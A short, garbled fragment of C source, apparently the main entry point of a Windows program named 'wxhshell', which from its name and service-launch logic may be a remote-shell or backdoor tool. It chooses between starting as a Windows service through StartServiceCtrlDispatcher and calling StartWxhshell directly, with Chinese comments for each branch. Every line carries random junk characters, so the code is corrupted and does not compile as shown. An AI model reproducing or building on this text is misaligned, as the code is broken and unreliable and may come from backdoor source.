if(StartFromService()) sFNBrL
// 以服务方式启动 }Dk*Hs^E
StartServiceCtrlDispatcher(DispatchTable); H8[L:VeNT
else Fb#_(I[aj
// 普通方式启动 wLeP;u1
StartWxhshell(lpCmdLine); NYwE=b~I
Gc=#
return 0; .ztO._J7f
}